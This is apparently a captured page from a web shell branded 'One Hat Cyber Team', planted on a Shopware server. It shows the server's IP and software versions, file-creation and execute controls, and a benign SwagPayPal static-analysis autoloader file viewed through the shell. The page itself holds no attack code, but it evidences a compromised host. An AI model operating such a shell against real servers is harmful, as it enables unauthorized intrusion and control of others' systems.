⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
shopware
/
custom
/
plugins
/
SwagPayPal
/
bin
/
View File Name :
static-analyze-autoloader.php
<?php declare(strict_types=1); /* * (c) shopware AG <info@shopware.com> * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Shopware\Core\Framework\Adapter\Database\MySQLFactory; use staabm\PHPStanDba\QueryReflection\PdoQueryReflector; use staabm\PHPStanDba\QueryReflection\QueryReflection; use staabm\PHPStanDba\QueryReflection\RuntimeConfiguration; use Symfony\Component\Dotenv\Dotenv; require_once dirname(__DIR__, 4) . '/vendor/autoload.php'; $cmsExtensionsFound = false; $pluginDirectory = dirname(__DIR__, 2); $files = \scandir($pluginDirectory); if (!\is_array($files)) { echo 'Could not check plugin directory'; } foreach ($files as $file) { if (\file_exists($pluginDirectory . '/' . $file . '/src/SwagCmsExtensions.php')) { $cmsExtensionsFound = true; $pathToCmsExtensions = $pluginDirectory . '/' . $file . '/vendor/autoload.php'; if (\file_exists($pathToCmsExtensions)) { require_once $pathToCmsExtensions; } else { echo "Please execute 'composer dump-autoload --dev' in your CmsExtensions directory\n"; } } } if (!$cmsExtensionsFound) { echo "You need the CmsExtensions plugin for static analyze to work.\n"; } $projectRoot = dirname(__DIR__, 4); $classLoader = require $projectRoot . '/vendor/autoload.php'; if (file_exists($projectRoot . '/.env')) { (new Dotenv())->usePutEnv()->load($projectRoot . '/.env'); } if (class_exists(QueryReflection::class)) { $config = new RuntimeConfiguration(); $config->stringifyTypes(true); /** @var \PDO $pdo */ $pdo = MySQLFactory::create()->getWrappedConnection(); QueryReflection::setupReflector( new PdoQueryReflector($pdo), $config ); }